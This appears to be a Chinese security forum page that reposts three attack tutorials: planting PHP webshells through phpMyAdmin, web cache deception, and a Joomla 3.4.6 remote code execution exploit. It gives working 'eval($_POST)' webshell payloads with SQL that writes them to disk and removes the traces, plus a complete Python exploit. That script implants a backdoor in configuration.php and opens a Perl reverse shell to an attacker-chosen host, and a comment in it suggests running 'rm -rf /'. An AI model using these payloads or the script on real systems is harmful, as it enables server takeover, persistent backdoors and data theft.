简述phpMyadmin如何getshell

zh_smile 发表了文章 • 1 个评论 • 954 次浏览 • 2020-02-14 14:14 • 来自相关话题

一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到select @@datadir;




配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。www.abc.com/bg.jpg/x.phpGoogle爆路径site:xxx.com warning
site:xxx.com “fatal error”测试文件爆路径www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php其它 phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息select version(); -- 查看数据库版本select @@datadir; -- 查看数据库存储路径show VARIABLES like '%char%'; -- 查看系统变量三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
 
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效[code] select @@secure_file_priv -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件[/code](2)三种方法
 
1.常规GetShell
直接通过SQL查询写入shell 
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
 
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径[code] set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1





 
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT





 
在该表中点击插入,值为一句话木马<?php eval($_POST[123]); ?>




 
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";[/code]









 
删除该表,抹除痕迹Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表[/code](3)特殊版本GetShell
CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功

 
 
 
 
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html 查看全部
一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
select @@datadir;

TA5)T)C@BYOZ87H4S_X6C3.png

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'
错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.abc.com/bg.jpg/x.php
Google爆路径
site:xxx.com warning
site:xxx.com “fatal error”
测试文件爆路径
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
其它
 phpMyAdmin/libraries/selectlang.lib.php 
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息
select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量
三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
 
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
[code] select @@secure_file_priv   -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
[/code](2)三种方法
 
1.常规GetShell
直接通过SQL查询写入shell 
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';
[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
 
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log
[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径
[code] set global general_log = "ON";    -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';
[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1

K~H()(5C{5I~`A7C8DZ]2.png

 
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT

YI`K7IJH}(U{E5[~8U@8A6.png

 
在该表中点击插入,值为一句话木马
<?php eval($_POST[123]); ?>

W_CTZ@8AMPB66VBHNHR7FK.png

 
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";
[/code]
UJOM[@Z_P]59}UI86(QAK6F.png


[B8U71M31NQWV`CPF)77HO2.png

 
删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;

以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
[/code](3)特殊版本GetShell
CVE-2013-3238


影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace


CVE-2012-5159


影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor


CVE-2009-1151


PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config


弱口令&万能密码


弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功


 
 
 
 
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html

web缓存欺骗

heyha 发表了文章 • 0 个评论 • 353 次浏览 • 2020-01-08 15:59 • 来自相关话题

介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示











两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css





 
访问到了其他用户的数据
 
漏洞危害及利用 
      访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。
 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
  查看全部
介绍
 
        先看一下什么是缓存
 
       大多数网站为了使网页加载速度变快从而为用户提供更好的用户体验,都使用了网页缓存,这些缓存的机制是将应用程序的文件存储在缓存服务上,在用户发起请求时进行频繁的检索。
        最常见的一些需要缓存的文件都是静态文件,比如.css,.js,.txt以及图片文件。实现缓存的方式也有很多,比如浏览器自身就会进行缓存,但是这种缓存并不能进行Web缓存欺骗攻击。但是另外一些在浏览器与web服务器之间实现缓存的方式则可能存在这种安全漏洞。
      
       缓存是如何工作的?
 
       回顾了不同形式的缓存机制后,现在,我们来看看Web缓存实际上是如何工作的。 在以下示例中,http://www.example.com网站由反向代理提供缓存服务。 像其他任何网站一样,这个网站使用了图片,CSS文件和脚本作为公开使用的资源。 这些文件网站中所有或许多用户所使用的静态文件,并且对所有用户返回了完全相同的内容。 它们不包含任何用户信息,因此不会被认为是敏感的文件。
 
       第一次访问静态文件时,请求会通过代理服务。 缓存机制并不熟悉这个文件,于是它会询问Web服务器,Web服务器返回了该文件。 现在,缓存机制需要识别接收到的文件的类型。 每个缓存机制的工作方式不同,但是在大多数情况下,服务器是从URL的尾端来获取文件的扩展名,然后根据该缓存机制的缓存规则来决定是否缓存这个文件。
 
       如果文件被缓存了,那么下一次当有任何一个客户端请求该文件时,缓存机制由于已经存储了这个文件,所以它会把缓存的文件内容发送给客户端而不需要去请求Web服务器。
 
      攻击原理
 
 
未经过身份验证的攻击者可以轻松的利用此漏洞,攻击步骤如下面所示:

1.攻击者诱使已经登录的用户访问xxx/my.php/1.css

2.受害者的浏览器请求xxx/my.php/1.css

3.请求到达代理,代理服务并不熟悉该文件,因此会请求Web服务器。

4. Web服务器返回受害者的帐户页面的内容,并显示200 OK响应,这意味着URL保持不变。

5.缓存机制接收到文件同时发现URL以静态文件的扩展名(.css)结尾。因为该缓存机制被配置为缓存所有静态文件并忽略任何缓存头,所以1.css文件会被缓存。名为1.css的新目录是在缓存目录中创建的,被缓存的文件名称为1.css。

6.用户接收到他的帐户页面。

7.攻击者访问xxx/my.php/1.css。请求到达代理服务器,代理服务器直接将受害者的缓存帐户页面返回给了攻击者的浏览器。
 
漏洞演示

11111.png


22222.png


两个页面url不同但是回显的内容是一样的
 
此时切换浏览器未登录直接访问   127.0.0.1/my.php/1.css

33333.png

 
访问到了其他用户的数据
 
漏洞危害及利用 
      
访问xxx/my.php/1.css 页面时, Web服务器返回了该my.php的内容

服务器的缓存机制通过url中的扩展名来判断是否进行缓存文件,并且忽略任何缓存头。

受害者必须访问过了xxx/my.php/1.css 这种页面,也就是说受害者已经将my.php的内容缓存到了缓存服务器上。

 
       此外还需要结合社工的方法,诱使登入网站的用户特别是有权限的用户(管理员)等,访问http://victim.com/my.php/静态资源 这种形式的链接。
       攻击者通过这种攻击,可以获取到受害者的账户等敏感信息。
 
总结
       Web缓存欺骗是一种不仅易于执行的攻击,而且可能会因为暴露用户的个人信息而遭受更严重的后果,而攻击者则可以控制用户的帐户。一些知名的网站也很容易受到这种攻击;大多数这些网站由最常见的CDN提供缓存服务。可以肯定的是,仍有许多网站可能成为受害者。
       虽然本白皮书仅涉及了可以满足Web缓存欺骗攻击条件的有限技术的范例,但还有各种其他Web框架和缓存机制,可以为攻击者提供类似的机会来执行攻击。
       为这个漏洞创造利用条件的Web框架和缓存机制本身并不脆弱;主要问题还是不正确的配置所导致的。
       为了防止网络缓存欺骗攻击,技术人员应首先了解可以执行此攻击所需要的条件。此外,建议供应商努力防止其产品满足这些攻击条件。这可以通过禁用一些功能,更改默认设置和行为以及提供警告来提高技术人员的意识来实现。
 
 
参考
https://blog.csdn.net/u010726042/article/details/77833973
https://www.freebuf.com/articles/web/161670.html
PayPal实战参考:https://cloud.tencent.com/developer/article/1516385
 
 
 

Joomla 3.4.6远程代码执行(RCE)漏洞复现

input 发表了文章 • 0 个评论 • 351 次浏览 • 2020-01-03 10:42 • 来自相关话题

一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。





 
安装成功后的界面如图





 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        #payload =  command + ' || $a=\'http://wtf\';'
        payload =  'http://l4m3rz.l337/;' + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在





 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口





 
进入configration.php 查看一句木马是否插入成功





 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl





 
连接成功 查看全部
一 . joomlaCMS简介
joomla是一套全球知名的内容管理系统, 是使用PHP语言加上MYSQL数据库所开发的软件系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖
二 . 漏洞简介
该漏洞在2019年10月8日漏洞公开,漏洞位于根目录下的configuration.php,是由于该CMS对函数过滤不严,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。
三 . 影响版本
3.0.0——3.4.6
 
四 . 环境搭建
直接使用PHPtudy 搭建,joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6,直接解压到WWW目录下,直接访问http://127.0.0.1/joomla3.4.6/ 进入安装界面,按照步骤进行安装。

3.png

 
安装成功后的界面如图

1.png

 
五 . 漏洞复现
该漏洞的利用比较简单,首先用脚本进行漏洞检测
脚本如下
#!/usr/bin/env python3
 
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
 
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
 
def random_string(stringLength):
        letters = string.ascii_lowercase
        return ''.join(random.choice(letters) for i in range(stringLength))
 
 
backdoor_param = random_string(50)
 
def print_info(str):
        print(colored("[*] " + str,"cyan"))
 
def print_ok(str):
        print(colored("[+] "+ str,"green"))
 
def print_error(str):
        print(colored("[-] "+ str,"red"))
 
def print_warning(str):
        print(colored("[!!] " + str,"yellow"))
 
def get_token(url, cook):
        token = ''
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,'html.parser')
        # csrf token is the last input
        for v in html.find_all('input'):
                csrf = v
        csrf = csrf.get('name')
        return csrf
 
 
def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if 'Failed to decode session object' in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True
 
 
def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies
 
 
def gen_pay(function, command):
        # Generate the payload for call_user_func('FUNCTION','COMMAND')
